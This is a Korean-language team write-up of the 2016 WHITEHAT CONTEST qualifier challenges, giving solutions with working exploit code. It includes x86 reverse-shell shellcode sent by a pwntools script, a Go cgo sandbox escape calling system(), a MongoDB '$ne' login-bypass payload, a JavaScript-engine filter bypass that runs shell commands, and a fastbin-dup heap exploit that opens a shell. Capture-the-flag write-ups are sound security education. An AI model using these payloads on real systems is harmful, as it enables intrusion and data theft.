

2016 WHITEHAT CONTEST 예선 문제풀이 보고서



NYAN언더바CAT	1위
함양제일고등학교	김용진
선린인터넷고등학교	변준우
한국디지털미디어고등학교	이태양
미재학	강진오

Mic Check

Mic Check

30 point

2015년 청소년부 대상팀은?

Already Solved..

flag : NYAN_CAT

CEMU

CEMU

250 point

XX기과 내부망에서는 공격 탐지를 위해 셸코드를 에뮬레이팅 하여 해당 셸코드의 동작을 탐지하는 보안 솔루션이 존재 한다.
해당 솔루션을 분석하여 인증키를 획득 하시오.
nc 121.78.147.159 55511

Already Solved..

pwntools을 이용하여 stage별로 지시한 내용을 수행하여 flag를 얻을 수 있습니다.

```
from pwn import *
import socket
from struct import pack

r = remote("121.78.147.159",55511)

r.recvuntil("EAX = ")
eax = int(r.recvuntil("\n"),16)
r.recvuntil("EBX = ")
ebx = int(r.recvuntil("\n"),16)
r.recvuntil("ECX = ")
ecx = int(r.recvuntil("\n"),16)
r.recvuntil("EDX = ")
edx = int(r.recvuntil("\n"),16)
r.recvuntil("ESP = ")
esp = int(r.recvuntil("\n"),16)
r.recvuntil("EBP = ")
ebp = int(r.recvuntil("\n"),16)
```

```

r.recvuntil("ESI = ")
esi = int(r.recvuntil("\n"),16)
r.recvuntil("EDI = ")
edi = int(r.recvuntil("\n"),16)

opcode = ""
opcode += asm("mov eax, "+`eax`)
opcode += asm("mov ebx, "+`ebx`)
opcode += asm("mov ecx, "+`ecx`)
opcode += asm("mov edx, "+`edx`)
opcode += asm("mov esp, "+`esp`)
opcode += asm("mov ebp, "+`ebp`)
opcode += asm("mov esi, "+`esi`)
opcode += asm("mov edi, "+`edi`)

r.sendline(opcode.encode("hex"))
print r.recvuntil("Stage1 Clear!")
r.sendline()

#print r.recv()
print r.recvuntil("Your goal is set the stack below")
r.recvuntil("| 0x")
p3 = int(r.recvuntil(" "),16)
r.recvuntil("| 0x")
p2 = int(r.recvuntil(" "),16)
r.recvuntil("| 0x")
p1 = int(r.recvuntil(" "),16)
print r.recvuntil("input Opcode")
opcode = ""
opcode += asm("push "+`p1`)
opcode += asm("push "+`p2`)
opcode += asm("push "+`p3`)
r.sendline(opcode.encode("hex"))
print r.recvuntil("Stage2 Clear!")
r.sendline()

print r.recvuntil("Your goal is revrse shell coding!! below")
r.recvuntil("[+] server ip address: ")
ip = r.recvuntil("\n")[:-2]
r.recvuntil("[+] port : ")
port = r.recvuntil("\n")[:-2]
r.recvuntil("[+] exec : ")
cmd = r.recvuntil("\n")[:-1]

print ip,port,cmd

#result = subprocess.check_output(shellcmd, shell=True)

reshell="\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x
80\x93\x89\xd1\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68"+soc
ket.inet_aton(ip)+"\x66\x68"+pack('>H',
int(port))+"\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6
a\x0b\x58\x99\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x
89\xe3\xcd\x80"
print reshell.encode("hex")
r.sendline(reshell.encode("hex"))

```

```
r.interactive()
```

flag : ff7902a9582eae52c0550681e0e32bd0fbd1d898

GoSandbox

GoSandbox

200 point

XX기관 내부망에 프로그래밍 언어를 학습하기 위한 온라인 서비스를 제공하고 있다.

해당 서비스를 분석하여 인증키를 획득 하시오.

<http://121.78.147.159:8888/>

Already Solved..

Go언어로 코딩을 하면 tmp 폴더에서 컴파일을 해 실행한 결과를 출력해줍니다. system함수 등을 이용해서 서버 내에 존재하는 flag파일을 읽으면 될 것 같습니다. 대부분의 system관련된 모듈이 임포트가 되지 않았는데 이것저것 검색하고 시도해 본 결과 "C"모듈은 임포트가 가능하다는 것을 알았습니다. 따라서 이를 이용해서 system함수를 실행할 수 있습니다.

```
Gosandbox
1 package main
2
3 //char* get_msg(){
4     system('find / -name \Flag' >> /dev/null);
5 }
6 import "C"
7 import "fmt"
8
9 func main() {
10     var msg = C.get_msg()
11     fmt.Println(C.GoString(msg))
12 }
```

```
/src/Flag
/Flag
/usr/local/go/src/Flag
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xb code=0x1 addr=0x100 pc=0x440ae4]

goroutine 1 [running]:
panic(0x44b420, 0xc82008a1b0)
/usr/local/go/src/runtime/panic.go:481 +0x3e6
main._Cfunc_GoString(0x100, 0x0, 0x0)
command-line-arguments/_obj/_cgo_gotypes.go:44 +0x2d
main.main()
/tmp/playgo-engine-temp329440840/main.go:11 +0x29
exit status 2
```

flag는 /flag 또는 /usr/flag에 있습니다.

```
1 package main
2
3 //char* get_msg(){
4     system("cat /Flag");
5 }
6 import "C"
7 import "fmt"
8
9 func main() {
10     var msg = C.get_msg()
11     fmt.Println(C.GoString(msg))
12 }
```

```
Flag is {1fce6be7b43434e6377dcb98b1531cc398696e2d}
```

flag : 1fce6be7b43434e6377dcb98b1531cc398696e2d

Login

Login

150 point

XX기관 내부망의 사용량 증가에 따라 DB 서버의 확장이 용이한 No SQL 서비스로 서버를 변경할 예정이다.
내부 테스트를 위해 로그인 기능의 웹페이지를 제작 하였다. 해당 웹 페이지의 취약점을 식별하시오.

<http://121.78.147.159:4545/>

Already Solved.. Auth Close

No SQL서비스로 서버를 바꾼다고 해서 그냥 몽고DB 인젝션을 하니 플래그가 나왔습니다.

The screenshot shows a web proxy tool interface. The REQUEST section shows a POST request to `121.78.147.159:4545/api/account/signin` with a body containing a JSON object: `{"username": "admin", "password": {"$ne": "abcd"}}`. The RESPONSE section shows a `200 OK` status with a response body: `{ "success": true, "flag": "G0od! FLag is 97f56452bf258ff2d6cd7eac72799e77" }`. The response headers include `Connection: keep-alive`, `Content-Length: 72 Bytes`, `Content-Type: application/json; charset=utf-8`, `Date: 2016 Oct 8 10:01:41 -10h 15m`, `Etag: W/"48-r76bYOOF/u+Aaa2evNrWMg"`, `Server: nginx/1.11.4`, and `Set-Cookie: connect.sid=81 B, session, httpOnly`.

flag : 97f56452bf28bf258ff2d6cd7eac72799e77

easy

easy x

150 point

대전 특정기업에서 서비스중인 자바스크립트 엔진이 있다.

그런데 어느 날, 이 서비스에서 쉘을 획득하여 서버를 장악할 수 있는 취약점이 발견되었다는 신고가 들어왔다.

해당 신고자는 취약점의 설명을 위해 거액을 요구했고, 액수를 감당하지 못하는 기업은 거절하며 대신 당신에게 취약점 발굴을 의뢰했다.

취약점을 파악 후 공격하여 접근 권한을 얻어내어라.

```
nc 121.78.147.157 7776
nc 121.78.147.157 7777
```

Already Solved.. Auth Close

주어진 nc를 접속하면 자바스크립트 엔진으로 바로 연결됩니다. 먼저 help()명령어를 쳐보면

```
C:\Users\SunKn0wn>nc 121.78.147.157 7776
js> help()
help()
JavaScript-C24.2.0
version([number])
  Get or force a script compilation version number.
options([option ...])
  Get or toggle JavaScript options.
load(['foo.js' ...])
  Load files named by string arguments. Filename is relative to
```

이렇게 나옵니다. 나온 명령어 중에 쓸만한 명령어로는 system과 evaluate가 있었는데 쉘에 입력하는 명령어에서 system은 문자열 필터링이 되었습니다. 그래서 system을 s+system으로 쪼개서 evaluate함수에 넣어서 실행하였습니다.

```
C:\Users\SunKn0wn>nc 121.78.147.157 7776
js> evaluate('s'+system("ls -al"))
evaluate('s'+system("ls -al"))
?4)꺠 115304
drwxr-xr-x 2 spidermonkey spidermonkey 4096 10?? 8 10:52 .
drwxr-xr-x 5 root root 4096 9??28 20:39 ..
-rw-r----- 1 spidermonkey spidermonkey 220 9??28 20:39 .bash_logout
-rw-r----- 1 spidermonkey spidermonkey 3637 9??28 20:39 .bashrc
-rw-r----- 1 spidermonkey spidermonkey 675 9??28 20:39 .profile
-r--r----- 1 spidermonkey spidermonkey2 35 10?? 8 10:52 fl3gs
-r-xr-x--- 1 spidermonkey spidermonkey2 118039633 10?? 1 22:03 js24
-r-xr-x--- 1 spidermonkey spidermonkey2 228 10?? 4 20:04 net.py
0
js> evaluate('s'+system("cat fl3gs"))
evaluate('s'+system("cat fl3gs"))
"8cf1a09289739d2d42b5ccf4c5bc687a"
0
js> quit()
C:\Users\SunKn0wn>
```

flag : 8cf1a09289739d2d42b5ccf4c5bc687a

secret message

secret message ×

250 point

한 커뮤니티에서 국가 안보에 해가 되는 단체가 쪽지를 통해 비밀 지령을 전달받는다고 한다.

서버의 취약점을 이용하여 해당 비밀 지령을 확인하시오.

http://121.78.147.178:8888/

FLAG

접속해서 계정 만들고 로그인하고 보면 Content 부분에서 XSS가 터집니다. 필터링이 되어있긴 했지만 적절하게 우회를 해 주면 됩니다. 그리고 AJAX로 긁어 오니 플래그가 있었습니다.

```
var sender = "hacker";  
var receiver = "hacker";  
var send_time = "0000-00-00 00:00:00";  
var title = "Secret Message";  
var contents = "Good Work!!!! Flag{b272869efcdf8da987f6b986efb20a73c6fdd80f}";
```

flag : b272869efcdf8da987f6b986efb20a73c6fdd80f

short path

short path ×

150 point

대한민국 지도 상에 정체불명의 존재가 다수 출현했다는 속보가 들어왔다.

현재 운용할 수 있는 헬기는 단 하나 뿐이다.

가장 빠르게 모든 지점에 도착 할 수 있도록 도움을 주어라.

http://121.78.147.178:5555/

Already Solved..

주어진 지도상의 점에서 최단거리를 찾으면 됩니다. 처음에는 코딩을 해야겠다고 생각했는데 몇 번 해보니까 손으로도 풀려서 고도의 집중력을 발휘하여 3문제 모두 해결하였습니다.

Good Work~~~ Flag{bb2d0d9a05e5432a196d02de43fe996fdef42664}

next

flag : bb2d0d9a05e5432a196d02de43fe996fdef42664

malloc

fastbin dup into stack을 이용하여 풀 수 있는 문제입니다. 문제는 fastbin fake chunk size를 넣을 곳이었는데 malloc을 할 때 32를 넘어가면 무조건 32로 malloc하는 것을 이용하여 입력 받는 곳을 fake chunk size로 만들어 exploit할 수 있었습니다.

```
from ch1mac import *

s = SockCon("121.78.147.153", 5557)
#s = SockCon("10.211.55.4", 31337, 1000)

raw_input()

RD(s, "Stack Address : ")
stack = int(RD(s, "\n")[:-1], 16)

log.info("Stack : "+hex(stack))

RD(s, "> ")
s.send("1\n")
RD(s, "Enter size : ")
s.send("32\n")
RD(s, "Enter data : ")
s.send("NyanNyan")
RD(s, "> ")
s.send("1\n")
RD(s, "Enter size : ")
s.send("32\n")
RD(s, "Enter data : ")
s.send("NyanNyan")
RD(s, "> ")
s.send("1\n")
RD(s, "Enter size : ")
s.send("32\n")
RD(s, "Enter data : ")
s.send("NyanNyan")

RD(s, "> ")
s.send("2\n")
RD(s, "Which one do you want to free : ")
s.send("1\n")
RD(s, "> ")
s.send("2\n")
RD(s, "Which one do you want to free : ")
s.send("2\n")
```



```

RD(s, ">")
s.send("2\n")
RD(s, "Which one do you want to free : ")
s.send("1\n")

RD(s, "> ")
s.send("1\n")
RD(s, "Enter size :")
s.send("32\n")
RD(s, "Enter data :")
s.send(p64(stack-0x58)[: -2]+ "\x41")
RD(s, "> ")
s.send("1\n")
RD(s, "Enter size :")
s.send("32\n")
RD(s, "Enter data :")
s.send(p64(stack-0x58)[: -2]+ "\x41")
RD(s, "> ")
s.send("1\n")
RD(s, "Enter size :")
s.send("32\n")
RD(s, "Enter data :")
s.send(p64(stack-0x58)[: -2]+ "\x41")

RD(s, "> ")
s.send("1\n")
RD(s, "Enter size :")
s.send("48\n")
RD(s, "Enter data :")
s.send("A"*0x18+p64(0x0000000000400986)[: -5]+ "\x41")

GiveMeShell(s)

```

flag : e54e94ffc632fe7742860bd3ed2ea1ee